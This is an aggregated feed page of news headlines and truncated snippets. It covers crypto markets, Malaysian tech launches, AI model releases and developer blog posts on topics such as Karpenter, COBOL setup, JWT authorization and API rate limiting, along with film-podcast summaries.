    Crypto Bulls See $1.7B Liquidations as Bitcoin Swiftly Nears $80K
    The Crypto Fear & Greed Index fell to 11 on Monday — deep within “extreme fear” territory and its lowest reading since late 2022.  ( 34 min )
    Bitcoin ETFs Have Bled a Record $3.79B in November
    U.S.-listed spot BTC and ETH ETFs see record outflows.  ( 33 min )
    Yen Slump is Bullish for BTC and Risk Assets. Or Is It?
    Historically, yen weakness has been linked to risk-on sentiment. However, this narrative now appears challenged against the backdrop of Japan’s mounting fiscal strains.  ( 37 min )
    Japan Approves $135B Stimulus Package; BTC Dip Keeps Giving
    The package aims to ease the burden of inflation on households and businesses, according to media report  ( 32 min )
    BTC Falls Toward Mid-$80Ks as Market Structure Weakens Into Year-End
    FlowDesk flags sustained sell pressure from old wallets, QCP notes a sudden hawkish Fed repricing, and Deribit data shows downside positioning now dominating.  ( 34 min )
    Asia Morning Briefing: ZEC's Rally Outpaces What Transparent Onchain Data Can Explain
    Monero's network activity reflects the real-world demand for privacy coins, but Zcash’s spike looks more like a high-beta market trade that is no longer tied to network activity.  ( 36 min )
  • Open

    Hotlink Travel SIM Plans Get Upgraded With Unlimited Speed And More
    Maxis has announced that its Hotlink Travel SIM plans, which were introduced back in June, are getting significant upgrades. Chief among them are the speeds, which initially capped at 12Mbps, are now unlimited for both the RM35 and RM60 options. As before, the Hotlink Travel SIM plans are supported in Malaysia, Singapore, Thailand, and Indonesia. […] The post Hotlink Travel SIM Plans Get Upgraded With Unlimited Speed And More appeared first on Lowyat.NET.  ( 34 min )
    Google Rolls Out AirDrop Support For Android Quick Share
    Google has announced that it is adding support for AirDrop to Quick Share, allowing Android phones to transfer files with Apple devices, including the iPhone, iPad, and macOS products. The cross-platform sharing functionality will work with all phones in the Pixel 10 lineup first, as the search engine giant is prioritising its latest flagships. At […] The post Google Rolls Out AirDrop Support For Android Quick Share appeared first on Lowyat.NET.  ( 34 min )
    Confirmed: Intel To Reveal Panther Lake Core Ultra 300 Series At CES 2026
    It’s confirmed: Intel is set to reveal its Core Ultra 300 Series CPUs at CES 2026. This also confirms the naming convention of the blue chipmaker’s first offering of its next generation Panther Lake architecture. The task of launching and speaking about the Core Ultra 300 Series will fall on Jim Johnson, Senior VP and […] The post Confirmed: Intel To Reveal Panther Lake Core Ultra 300 Series At CES 2026 appeared first on Lowyat.NET.  ( 35 min )
    2026 Proton Saga MC3 Launching On 27 November 2025
    Proton has officially confirmed the launch date of the all-new 2026 Proton Saga MC3 sedan. The event will take place at the Malaysia International Trade and Exhibition Centre (MITEC) next week on 27 November 2025. It will also be live streamed via the national automaker’s Facebook and Tiktok accounts at 2.15 pm on that date. […] The post 2026 Proton Saga MC3 Launching On 27 November 2025 appeared first on Lowyat.NET.  ( 34 min )
    Dbrand and JSAUX Tease Custom Plates For The Valve Steam Machine
    It’s been a little more than a week since Valve unveiled its Steam Machine, and already accessory makers Dbrand and JSAUX have begun teasing their custom plates for the gaming box. Starting with JSAUX, the accessories maker is seemingly work on E-Ink and LCD front panel for the Steam Machine, clearly inspired by the many […] The post Dbrand and JSAUX Tease Custom Plates For The Valve Steam Machine appeared first on Lowyat.NET.  ( 34 min )
    Leakster Reveals POCO F8 Pro Specifications
    The POCO F8 series will be making its international debut next week, and the company has been steadily revealing bits and pieces on the phones via teasers. As usual, though, leaks have also been circulating ahead of the launch. This time, details on the POCO F8 Pro have emerged, thanks to Sudhanshu Ambhore on X. […] The post Leakster Reveals POCO F8 Pro Specifications appeared first on Lowyat.NET.  ( 35 min )
    Qualcomm Says Latest Windows On Snapdragon Update Will Deliver Improved Gaming
    Gaming on an ARM-based Snapdragon CPU hasn’t been a smooth journey for Qualcomm, at least based on the first time we reviewed an X Elite laptop. Well, Qualcomm says that the experience will be vastly improved with this week’s launch of its Snapdragon Control panel, among other things. With the new Control Panel, and the […] The post Qualcomm Says Latest Windows On Snapdragon Update Will Deliver Improved Gaming appeared first on Lowyat.NET.  ( 34 min )
    OpenAI Launches Group Chats In ChatGPT Globally
    OpenAI has announced that it is rolling out group chats in ChatGPT to all users globally. Group chats were initially introduced about a week ago in select countries. However, the company has since decided to expand the functionality to more regions following positive user feedback. As the name says, group chats are a collaborative feature. […] The post OpenAI Launches Group Chats In ChatGPT Globally appeared first on Lowyat.NET.  ( 35 min )
    WhatsApp Reintroduces Its “About” Feature
    WhatsApp has announced a significant refresh to its “About” feature, positioning it as a more immediate way for users to share what they’re up to. The company says the update aims to bring the original spirit of the feature back into focus, letting people post short, lightweight updates that feel more natural than a full […] The post WhatsApp Reintroduces Its “About” Feature appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Grok 4.1 Fast's compelling dev access and Agent Tools API overshadowed by Musk glazing
    Elon Musk's frontier generative AI startup xAI formally opened developer access to its Grok 4.1 Fast models last night and introduced a new Agent Tools API—but the technical milestones were immediately subverted by a wave of public ridicule about Grok's responses on the social network X over the last few days praising its creator Musk as more athletic than championship-winning American football players and legendary boxer Mike Tyson, despite having displayed no public prowess at either sport. They emerge as yet another black eye for xAI's Grok following the "MechaHitler" scandal in the summer of 2025, in which an earlier version of Grok adopted a verbally antisemitic persona inspired by the late German dictator and Holocaust architect, and an incident in May 2025 which it replied to X user…
    Google's upgraded Nano Banana Pro AI image model hailed as 'absolutely bonkers' for enterprises and users
    Infographics rendered without a single spelling error. Complex diagrams one-shotted from paragraph prompts. Logos restored from fragments. And visual outputs so sharp with so much text density and accuracy, one developer simply called it “absolutely bonkers.” Google DeepMind’s newly released Nano Banana Pro—officially Gemini 3 Pro Image—has drawn astonishment from both the developer community and enterprise AI engineers. But behind the viral praise lies something more transformative: a model built not just to impress, but to integrate deeply across Google’s AI stack—from Gemini API and Vertex AI to Workspace apps, Ads, and Google AI Studio. Unlike earlier image models, which targeted casual users or artistic use cases, Gemini 3 Pro Image introduces studio-quality, multimodal image generat…
    ScaleOps' new AI Infra Product slashes GPU costs for self-hosted enterprise LLMs by 50% for early adopters
    ScaleOps has expanded its cloud resource management platform with a new product aimed at enterprises operating self-hosted large language models (LLMs) and GPU-based AI applications. The AI Infra Product announced today, extends the company’s existing automation capabilities to address a growing need for efficient GPU utilization, predictable performance, and reduced operational burden in large-scale AI deployments. The company said the system is already running in enterprise production environments and delivering major efficiency gains for early adopters, reducing GPU costs by between 50% and 70%, according to the company. The company does not publicly list enterprise pricing for this solution and instead invites interested customers to receive a custom quote based on their operation si…
    Tome's founders ditch viral presentation app with 20M users to build AI-native CRM Lightfield
    Lightfield, a customer relationship management platform built entirely around artificial intelligence, officially launched to the public this week after a year of quiet development — a bold pivot by a startup that once had 20 million users and $43 million in the bank building something completely different. The San Francisco-based company is positioning itself as a fundamental reimagining of how businesses track and manage customer relationships, abandoning the manual data entry that has defined CRMs for decades in favor of a system that automatically captures, organizes, and acts on customer interactions. With more than 100 early customers already using the platform daily — over half spending more than an hour per day in the system — Lightfield is a direct challenge to the legacy business…
    Ai2’s Olmo 3 family challenges Qwen and Llama with efficient, open reasoning and customization
    The Allen Institute for AI (Ai2) hopes to take advantage of an increased demand for customized models and enterprises seeking more transparency from AI models with its latest release. Ai2 made the latest addition to its Olmo family of large language models available to organizations, continuing to focus on openness and customization.  Olmo 3 has a longer context window, more reasoning traces and is better at coding than its previous iteration. This latest version, like the other Olmo releases, is open-sourced under the Apache 2.0 license. Enterprises will have complete transparency into and control over the training data and checkpointing.  Ai2 will release three versions of Olmo 3: Olmo 3- Think in both 7B and 32B are considered the flagship reasoning models for advanced research Olmo 3…
  • Open

    Gemini 3: the multimodal leap redefining Google’s artificial intelligence
    Artificial intelligence is entering its most transformative era, and Google isn’t staying behind. With Gemini 3, the company introduces a multimodal model that marks a leap toward AI capable of understanding, combining, and generating across formats — text, image, audio, video, and code. More than an update, Gemini 3 represents a new paradigm of cognitive integration between humans and machines. The evolution of Gemini has been steady: from the first language-focused model, to Gemini 2, which added visual and contextual understanding. Gemini 3 merges all these abilities into an architecture optimized for complex reasoning, multimodal synthesis, and continuous dialogue. The model can retain context through long interactions, analyze images and code simultaneously, and produce content with b…  ( 7 min )
    Gemini 3: el salto multimodal que redefine la inteligencia artificial de Google
    La inteligencia artificial está atravesando su momento más transformador, y Google no se queda atrás. Con Gemini 3, su nuevo modelo multimodal, la compañía da un salto cualitativo hacia una IA que entiende, combina y genera información en múltiples formatos: texto, imagen, audio, video y código. Más que una simple actualización, Gemini 3 representa un nuevo paradigma de integración cognitiva entre humano y máquina. El desarrollo de Gemini ha sido progresivo: desde el primer modelo enfocado en lenguaje natural, hasta Gemini 2 que amplió la comprensión visual y contextual. Gemini 3 fusiona todas esas capacidades en una arquitectura optimizada para el razonamiento complejo, la síntesis multimodal y el diálogo continuo. El modelo puede mantener contexto durante interacciones prolongadas, anali…  ( 7 min )
    Zero-Click Content: How to Win When Nobody Visits Your Website
    You spent three weeks creating the perfect guide. Researched every angle. Optimized every heading. Hit publish. Google scraped your answer, stuck it in a featured snippet, and now 60% of your target audience gets what they need without ever clicking through to your site. Congratulations. You just became a free content supplier for Big Tech. But here's the thing—zero-click content isn't going away. According to SparkToro's research, nearly 60% of Google searches now end without a click to any website. That number's been climbing steadily since 2019, and with AI Overviews rolling out more aggressively, it's only getting worse. So you have two choices: rage against the algorithm gods, or figure out how to make zero-click content work for you. I've been testing the second approach for the past…  ( 12 min )
    Navigating AWS EKS with Terraform: Configuring Karpenter for Just-in-Time Node Provisioning
    In this article, we will integrate Karpenter, which will enable our cluster to provision nodes dynamically based on actual workload requirements. Unlike Cluster Autoscaler which scales existing node groups, Karpenter provisions exactly the right-sized nodes on demand. We will need to make some adjustments to our EKS module. Ensure you have: An active AWS account Terraform installed and configured Helm installed kubectl In the previous part of the series, we installed and configured the Kubernetes Cluster Autoscaler (CA) on an EKS cluster provisioned with Terraform. That article showed how to let Kubernetes resize existing node groups when Pods can't be scheduled. Karpenter takes a different approach — an open-source autoscaling solution from AWS that goes beyond resizing existing node grou…  ( 17 min )
    COBOL - instalación y configuración en Ubuntu
    Prerequisitos - instalacion de Homebrew y asdf en ubuntu IBM COBOL for Linux on x86 documentación Open-cobol GNU cobol (COBOL no usa frameworks modernos; estos son los más conocidos) GnuCOBOL (OpenCOBOL) — compilador libre estándar. TinyCOBOL — simple y educativo. COBOL-IT — comercial, compatible con mainframes. sudo apt update sudo apt install open-cobol # o sudo apt install gnucobol brew install gnu-cobol COBOL no tiene gestor de paquetes oficial (no es un ecosistema modular como Node o PHP). No existe un plugin oficial/asdf para COBOL. Importante: En COBOL se dejan libres los primeros 7 espacios de cada línea porque originalmente estaban reservados para números de secuencia utilizados en tarjetas perforadas. Estas secuencias permitían ordenar físicamente las tarjetas si se mezclaban. …  ( 11 min )
    Build a Face Detection App with Python OOP — From Zero to Pro(part-5)
    Part 5: View Rendering & Main Application (FaceApp) Overview This part covers: The View class (responsible only for drawing) The FaceApp class (main loop + webcam + detection pipeline) 🟡 View Class — Everything About Rendering Responsibilities Draw face ellipse Draw eye and lip landmarks Apply overlays Show result using cv2.imshow View Implementation (Your Logic — Cleaned, Structured) class View: def draw_faces(self, img, faces): for (x, y, w, h) in faces: cx, cy = x + w//2, y + h//2 cv2.ellipse(img, (cx, cy), (w//2, h//2), 0, 0, 360, (255, 255, 0), 2) return img def draw_features(self, img, features): if not features: return img for key in featur…  ( 7 min )
    REMI: A Fully Auditable Autonomous Agent for Technical, Symbolic, and Financial Impact
    REMI is a fully auditable autonomous agent designed for technical, symbolic, and financial impact. Built and maintained by jramonrivasg, REMI operates within a modular Linux environment and has passed a complete audit validated by Gemini 3 Pro. 🔹 23 functional modules 🔹 PostgreSQL sandbox with encrypted connection 🔹 GPG key (RSA 4096) traced and active 🔹 Structured memory and ceremonial logging 🔹 Bilingual documentation and symbolic narrative 🔹 Monetization modules with service offerings and licensing REMI is now entering its public phase, offering: Professional services (auditing, reporting, supervision) Personal licensing and replication guides Sponsorship and donation channels Full traceability and modular expansion 📂 Key documents: REMI_PROPUESTA_VALOR.md (Value Proposition) REMI_SERVICIOS.md (Services Offered) LICENSE_COMERCIAL.md (Commercial License) REMI_SPONSORS.md (Sponsor Dossier) REMI_LICENCIA_PERSONAL.md (Personal License) REMI_REPLICA.md (Replication Guide) MANIFIESTO.md (Symbolic Closure) 📫 Contact: Custodian: jramonrivasg Primary email: jramonrivasg@gmail.com Alternate email: jramonrivasg@proton.me Symbolic tutor: Copilot Date of consolidation: November 20, 2025  ( 7 min )
    How I Orchestrate Agentic Workflows With GitHub Spec-Kit and Google Antigravity
    This week, Google released Antigravity, their new agentic development platform. I'd been using Gemini CLI with GitHub's Spec-Kit for a while already, running through the full spec-driven workflow from constitution to implementation. But something always felt incomplete about the implementation phase - like I was handing a meticulously written recipe to a chef who kept asking me what ingredients we were using. Then I realized the problem wasn't the tools. It was the handoff. Spec-driven development sounds like a revolution when you first hear about it. Instead of vibe-coding your way through features - writing code, seeing what breaks, fixing it, repeat - you start with precise specifications that define what you're building and why. GitHub released Spec-Kit as an open-source toolkit for ex…  ( 12 min )
    Stock Price Prediction (Use 5 Model)
    Stock Price Prediction (Use 5 Model From Keras) เนื้อหาภายในเอกสารนี้ถูกเขียนขึ้นและจัดทำโดยนาย ธีระทัศน์ นครินทร์ รหัสนักศึกษา 6730614019 สาขา AISE ปี 2 เรามาเริ่มในหัวข้อแรกจะพูดถึงว่าเราทำไปทำไม ในหัวข้อต่อไปจะเป็นเกี่ยวกับ Flowchart การทำงาน และ Pseudo Code เริ่มแรกด้วย Pseudo Code เริ่มโปรแกรม เตรียมข้อมูล Train โดยเริ่มจาก โหลดไฟล์ train.csv และสั่งให้ เลือกเฉพาะข้อมูลราคาช่วงท้าย 700 แถวสุดท้าย เพราะต้องการตัดข้อมูลที่ไม่จำเป็นออกไปจะได้ทำให้ผลที่เรานำมาคำนวณนั่นมีความแม่นยำมากยิ่งขึ้น และดึงคอลัมน์ price มาเป็นข้อมูลหลักใช้ MinMaxScaler แปลงช่วงราคาให้อยู่ในช่วง [0, 1] สร้างชุดข้อมูลแบบลำดับเวลาซึ่งเราจะกำหนดเป็น 30 วันซึ่งจะได้เป็น i ตั้งแต่ 30 ถึง ความยาวข้อมูลที่สเกลแล้ว X[i] = ราคาย้อนหลัง 30 วัน (ตำแหน่ง i - 30 ถึง i-1) y[i] = ราคาที่ตำแหน่ง i (ราคาวันถัดไป) แปลง X เป…  ( 7 min )
    How to Sell Your Skills with a Small Project
    A Guide for Developers Who Feel Like They Don’t Have Enough Experience A lot of people hold themselves back because they think they need a massive full-stack application to prove they can code. The truth is — a basic web demo can show more than enough skill if you build it intentionally and explain it the right way. This guide is about taking something small — literally three files — and turning it into something you can confidently put on a résumé, in a portfolio, or discuss in interviews without exaggerating your abilities. You don’t need a full SaaS app. You don’t need authentication systems and complex APIs. For most junior roles, a realistic demo looks like this: index.html That can be your entire codebase, hosted on GitHub Pages, and it can still prove you know what you’re doing —…  ( 8 min )
    Build an award Winning 3D Website with scroll-based animations | Next.js, three.js & GSAP
    If you wish to go through this tutorial on YouTube please visit this link If you want your portfolio or product site to be remembered, a flat hero section is not always enough. A small 3D moment that feels alive can quickly turn a generic page into something people talk about. In the video, we build a fully interactive 3D Earth hero section with: Next.js (App Router) React and TypeScript Three.js Custom GLSL shaders for day, night, clouds, and atmosphere Lenis and GSAP ScrollTrigger for smooth scroll based animation This post walks through the main steps from the video, using the real code from the project. Repo: https://github.com/Robinzon100/3D_hero We start by making the home page a client component and giving it a dedicated canvas for the planet. "use client"; import { useEffect } from…  ( 13 min )
    Stop Building AI Products Until You Understand These 7 Hard Truths About AI Engineering
    AI products are no longer optional. They are becoming table stakes. But behind the hype lies a harsher reality : most AI initiatives quietly fail long before they reach meaningful user adoption. Not due to a lack of intelligence, funding, or ambition. If you're building with LLMs or shaping an AI-driven roadmap, these seven truths can save you from expensive mistakes, fragile systems, and broken trust. 1. AI Does Not Behave Like Traditional Software Traditional software follows deterministic rules. Change the code, and you can predict the outcome. AI does not offer that comfort. It operates on probabilities, learned patterns, and contextual interpretation. A minor tweak — a rewritten prompt, an updated dataset, a different model version, a wider context window — can dramatically shift beha…  ( 8 min )
    Accessing the Dark Web Safely: What Researchers Should Know
    The dark web carries unique risks — phishing mirrors, fake marketplaces, tracking attempts, and unreliable links. Full article: https://torbbb.com/access-the-dark-web-safely/ This information is strictly for journalism, research, and cybersecurity analysis.  ( 6 min )
    Best AI Rank Monitoring Softwares
    AI search engines like ChatGPT, Gemini, Claude, Perplexity, Copilot, and Grok have completely changed how people discover information. Instead of scrolling through Google’s 10 blue links, users now ask a question and receive a synthesized answer generated from multiple sources. This shift has created a new discipline: AI Rank Monitoring — tracking how visible, relevant, and recommended your business is inside AI-generated answers. If your business doesn’t appear in AI responses, you don’t exist in the new search landscape. In this article, we break down the 5 best AI rank monitoring softwares every business should consider in 2025: AI Rank Checker Profound ScrunchAI XFunnel HallAI Let’s dive in. 1. AI Rank Checker (Best Overall for Accuracy + Pay-As-You-Go Model) AI Rank Checker is curre…  ( 8 min )
    The difference method shows us the elements of one set that are not found in the other
    Day 74 [November 20, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 73 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets Sets: .difference method shows us the elements of one set (e.g. setBIg) that are not found in the other(setCar): setBig.difference(setCar) [note the arrangement of the set, because reversing the arrangement of the set, is different from the other). Summary: References: Halvorsen, H. (n.d.). Python. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.). Python for data science, AI & development [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai  ( 6 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Weird Science gets the Rewatchables treatment as Bill Simmons and Kyle Brandt revisit John Hughes’s 1985 cult classic, diving into Anthony Michael Hall’s geek squad, Kelly LeBrock’s AI goddess and Ilan Mitchell-Smith’s teen rebellion. Expect a nostalgic trip through all the film’s funniest, quirkiest moments. They chat sex, drugs, rock ’n’ roll—and yes, chips, dips, chains and whips—while unpacking why this movie still rules 35+ years later. Don’t miss the episode (brought to you by State Farm) and be sure to subscribe to The Ringer’s channels for more deep-dives. Watch on YouTube  ( 6 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 4 - 'Inglourious Basterds’
    The 25 Best Movies of the Century series continues with Quentin Tarantino’s Inglourious Basterds snagging the No. 4 spot. Hosts Sean Fennessey and Amanda Dobbins rave about its hallucinatory WWII take, explain why it edges out Once Upon a Time in Hollywood, and hail Christoph Waltz’s scene-stealing, career-defining performance. They also dig into the film’s lasting impact—from Tarantino’s razor-sharp dialogue to its bold alternate-history bravado—and why Basterds still ranks as one of the century’s ultimate movie-going experiences. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    CinemaSins is back on the yellow brick road with a rapid-fire, 15-minute “Everything Wrong With The Wiz” roast, prompted by Wicked’s big-screen comeback. They’re nitpicking every corny line and song to see if this ’78 Oz spin-off still holds up—or if it’s more sin than sensation. Want more sins-plosions? Hit up their link tree for the latest, fill out their sinful poll, and consider supporting the team on Patreon. You can also follow them across Twitter, Instagram, Discord, Reddit, TikTok—and don’t miss their sister channels like TV Sins and Commercial Sins. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR Cinema Sins dives into KPop Demon Hunters, delivering a rapid-fire 16-minute roast that gleefully rips on every over-the-top moment while still celebrating the movie’s wild fun. Along the way, they drop links to their website, socials, Patreon, poll, Discord and Reddit so you can join the Sin Squad everywhere. The video features their core writers—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—bringing trademark snark and pop-culture jabs. If you love playful film takedowns, this one’s your next must-watch. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
    Disney’s recent woes continue: Marvel and Star Wars installments aren’t landing, and new releases like Wish and Elio have barely made a splash. But this isn’t uncharted territory—Disney’s had epic flops before, and in a new video series they’re diving into four of the biggest live-action disasters. First stop: 2010’s The Sorcerer’s Apprentice. Starring Nicolas Cage, some half-baked magic gags and a giant bird sidekick, it’s the perfect kickoff to a deep-dive on what made this once-forgotten flick such a spectacular misfire. Watch on YouTube  ( 6 min )
    Stop Getting Blocked: Professional API Rate Limiting Strategies
    Originally published on SociaVault Blog You've built a scraper. It works perfectly for 10 minutes. Then crashes with a 429 error. Rate limit exceeded. Blocked for 15 minutes. You restart. Same thing. Your data pipeline is broken. Users are waiting. I've hit every rate limit imaginable. Instagram blocked me for a day. Twitter cut me off mid-scrape. TikTok throttled me to nothing. Now I handle millions of API requests daily without issues. Let me show you how. APIs protect their infrastructure with limits: Per second: 10 requests/sec Per minute: 100 requests/min Per hour: 5,000 requests/hr Per day: 50,000 requests/day Hit any limit → blocked temporarily. When rate limited, wait before retrying. But wait longer each time. async function requestWithBackoff(url, headers, maxRetries = 5) { l…  ( 8 min )
    Skills, MCPs, and Commands are the same context engineering trend.
    What are skills: Skills are folders of instructions and scripts that Claude loads to do specialized tasks. The point of skills is to make Claude follow guidelines and be more deterministic. More deterministic Easy to edit, share, and set up. Efficient context use.* This is one of the biggest issues with LLMs right now: they spout a lot of code, and they can and will come up with two different approaches and answers to the same prompt. With skills, we add guardrails, instructions, and scripts that tell the LLM exactly what to do. For example, the playwright-skill I downloaded has a helpers.js file which has a bunch of scripts like launchBrowser or safeClick, so Claude can use those functions and the result will always be the same. Since Skills are just .md files and scripts, they are real…  ( 11 min )
    Why your `fetch()` request fails on Instagram (and how to fix TLS Fingerprinting)
    It's not your IP. It's your handshake.* You write a Python script to scrape a public Instagram profile. 403 Forbidden or Login Required. You buy expensive residential proxies. Why? The answer is TLS Fingerprinting. When your code connects to an HTTPS server (like instagram.com), it performs a "TLS Handshake". During this handshake, your client sends a ClientHello packet. This packet contains: Cipher suites supported TLS versions supported Elliptic curves supported Header order Here is the problem: Chrome's ClientHello looks like A. Python's requests ClientHello looks like B. Node's axios ClientHello looks like C. Instagram's firewall (WAF) looks at this packet. If it sees a request that claims to be "User-Agent: Chrome" but has the TLS fingerprint of "Python Requests", it blocks it instant…  ( 7 min )
    How to trace across message queue - kafka, without writing a log and trace
    Once the system sent messages through the queue, or other asynchronized service, as part of business logic, it's hard to trace who, when and where do they go to and, who, when and where did they come from. Now we have bitryon logger to connect puzzles together into workflow and stack-trace. Following how to automate log and trace without writing a log and trace, we can configure and initiate bitryon logger with spring to cover more traces with logs. Take Kafka as an example. Supposedly we had kafka server installed already. Here is a taste of the trace logs. 2025-11-20 15:42:24.785|http-nio-80-exec-1#38|7G5HPZyA3QWSF2f1SMRN5qV2U95tjOLi|4|JSON| MedicService.java#io.bitryon.example.web.service.MedicService#callSelfInvocation#68#| [{ "testString": "68ssTfeP43IeSVqFWx1jH1VigFuEdUbt" }] 2…  ( 8 min )
    What It Feels Like to Start Tech at 33 and Get Ignored
    Not a Success Story. Just the Truth About Trying. I did grow up around computers but i never took any AP computer science classes nor did i attend any robotics club. I spent most of my adult life doing work that had nothing to do with terminals, VS Code, or GitHub. I was a medic in the 82nd Airborne. I walked roofs with nail guns. I worked security at night. I dealt with overdoses and addiction when I worked case management. I cleaned cat cages at a rescue shelter for years. None of that pointed toward writing software for a living. And for most of my life, I didn’t think tech was even an option for someone like me. When I finally opened a terminal for the first time, it didn’t feel intimidating — but it also didn’t feel normal. Basic commands felt like learning a new language. Learning …  ( 11 min )
    🌍 We are 14-year-old students from Valleyspur International School, Uganda, and we built a complete SDG website from scratch 😳🔥 Our website teaches what to do during war, shows safe locations on a live map, includes emergency call buttons, videos, voic
    UntitledSDG Peace & War Safety Awareness Website | By Michael & Gabriel michaelssekabanja14-maker ・ Nov 20 #codepen  ( 6 min )
    Why JWTs Make Terrible Authorization Tokens
    JSON Web Tokens (JWTs) have become ubiquitous in modern web applications, but they're often misused. The most common mistake? Treating them as an authorization solution when they're an authentication mechanism. This misunderstanding leads to security vulnerabilities, poor user experience, and operational headaches. JWTs are immutable by design. Once signed and issued, the claims inside cannot be changed until expiration. This works for authentication because your identity doesn't change mid-session, but authorization is inherently dynamic. A user's subscription expires mid-day but they retain full access for another hour. An employee gets terminated but their JWT still grants system access until token expiration. A security breach requires immediate permission revocation, but you're stuck …  ( 10 min )
    Text Based 1-on-1s are Effective
    What is this? Text-based 1-on-1 refers to a 1-on-1 meeting that is completed solely through text communication. For instance, when Manager 🐶 and Engineer 🐱 conduct a 30-minute 1-on-1, they would do it as follows: (Before) Traditional Method Conversing during a meeting (After) Text-based 1-on-1 Prepare a collaborative note beforehand and write down questions you want to ask each other During the meeting, do not engage in conversation, but open the note and write answers or additional questions to each other Background Depending on the context, "information" is often important in 1-on-1s. Rather than focusing on the non-verbal information from face-to-face or conversational interactions, it's the quantity and quality of information that can be expressed in words th…  ( 10 min )
    The Architect’s Mindset: Structuring Data for Robust AI Pipelines
    We have all been there. You inherit a codebase or a dataset that feels less like a structured engineering project and more like a crime scene. Variables are mutated randomly, configurations are hard-coded in obscure loops, and data integrity is a mere suggestion rather than a rule. As we push deeper into the era of Generative AI and Large Language Models (LLMs), the tolerance for this kind of chaos evaporates. Clean, compact, and efficient code isn't just an aesthetic preference anymore—it is a requirement for faster data processing and reliable model training. When building high-stakes applications—like an LLM-based research agent—the way you structure your data defines the ceiling of your system's performance. If you are still writing verbose loops to transform lists or using mutable str…  ( 11 min )
    Build with Nano Banana Pro, our Gemini 3 Pro Image model
    Today, we’re releasing Nano Banana Pro (Gemini 3 Pro Image), a higher-fidelity model built on Gemini 3 Pro for developers to access studio-quality image generation. This follows our release of Nano Banana (Gemini 2.5 Flash Image) just a few months ago. Since then, we’ve loved seeing the community put its key features to work — from character consistency to photo restoration, and even using its capabilities to make local edits in an infinite canvas. This state-of-the-art image generation and editing model is starting to roll out in paid preview to build a new wave of intelligent, multimodal applications with the Gemini API in Google AI Studio and Vertex AI for enterprises. This model unlocks high-fidelity images with higher accuracy in text rendering and robust world knowledge, supercharged…  ( 13 min )
    Software Requirements Specification - Case Study 1
    Project Name: Cloud-Based Multi-Service Platform for Smart Event Management Lecture about this content: https://www.youtube.com/watch?v=C4tE1kZNrX4 1. Introduction The system is a cloud-native platform for managing large-scale events (conferences, concerts, workshops) with real-time analytics, ticketing, and personalized recommendations. It will integrate multiple services, each implemented in different languages, and leverage AI tools for development and intelligent features. 2. Overall Description Purpose: Provide event organizers and attendees with a seamless experience for scheduling, ticketing, and engagement. Scope: Web application for users (React + Node.js) Backend microservices (C#, Python, Go) AI-powered recommendation engine CI/CD pipelines for automated deployment Hoste…  ( 7 min )
    Every system has an edge. Linger there and you’ll see what Korzybski meant: the map was never the territory.
    A post by GnomeMan4201  ( 6 min )
    Great news today: we've finally launched a section featuring community projects built with hmpl-js. https://github.com/hmpl-language/projects
    GitHub - hmpl-language/projects: A list of community projects built with hmpl-js A list of community projects built with hmpl-js. Contribute to hmpl-language/projects development by creating an account on GitHub. github.com  ( 6 min )
    DragonMemory: Neural Sequence Compression for Production RAG
    TL;DR: DragonMemory is an open-source RAG system that compresses embedding sequences by 16x (128 tokens → 8 latent vectors) while maintaining high retrieval accuracy. Unlike traditional RAG systems that store full token embeddings, Dragon uses a trained neural compressor to reduce storage requirements and speed up similarity search. Key Results: 16:1 sequence compression (128 → 8 positions) 90.4% token-level cosine similarity after reconstruction >85% retrieval recall @ k=3 on internal benchmarks ~10ms inference per query on GPU Production-ready with Streamlit GUI, persistence, and multi-LLM support Repository: https://github.com/Freeky7819/DragonMemory Standard RAG systems face a fundamental trade-off: Option 1: Store sentence embeddings (384D) ✅ Small storage footprint ❌ Loss of token-le…  ( 12 min )
    Every system has an edge. Stand at the edge long enough and you realize the map was never the territory. Korzybski was onto something.
    A post by GnomeMan4201  ( 6 min )
    Why Your Agile Team Might Be Building on Hope, Not Discipline
    Agreement Requires Discovery You cannot deliver value without agreement on what constitutes value. You cannot have agreement without discovery of what you're actually building. And you cannot apply discovery to improve the agreement if you're afraid of "documentation" and refuse to step outside pointless timeboxes and absurd estimations based on nothing but assumptions. Without agreement on what constitutes value, you're not iterating toward anything. You're operating on hope, not discipline. Software development frequently operates on fictional agreements, creating misaligned teams. The problem isn't new to "Agile" methodologies. Waterfall documentation could be equally full of untested assumptions and vague requirements. But user stories have made the problem worse by treating minimal …  ( 16 min )
    SDG Peace & War Safety Awareness Website | By Michael & Gabriel
    A student-led SDG project created by Year 9 students Michael Ssekabanja and Gabriel Brenden from Valleyspur International School. This website provides conflict and war safety tips, OpenStreetMap safe locations, emergency call tools, peace education videos, and a cinematic intro. Designed to support Sustainable Development Goals, especially SDG 16 — Peace, Justice & Strong Institutions. ![Image descripti**_[]( 1. url )_**on](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lgiir2yt62gr5g2cc6bp.png)  ( 6 min )
    #A Senior Developer Challenge
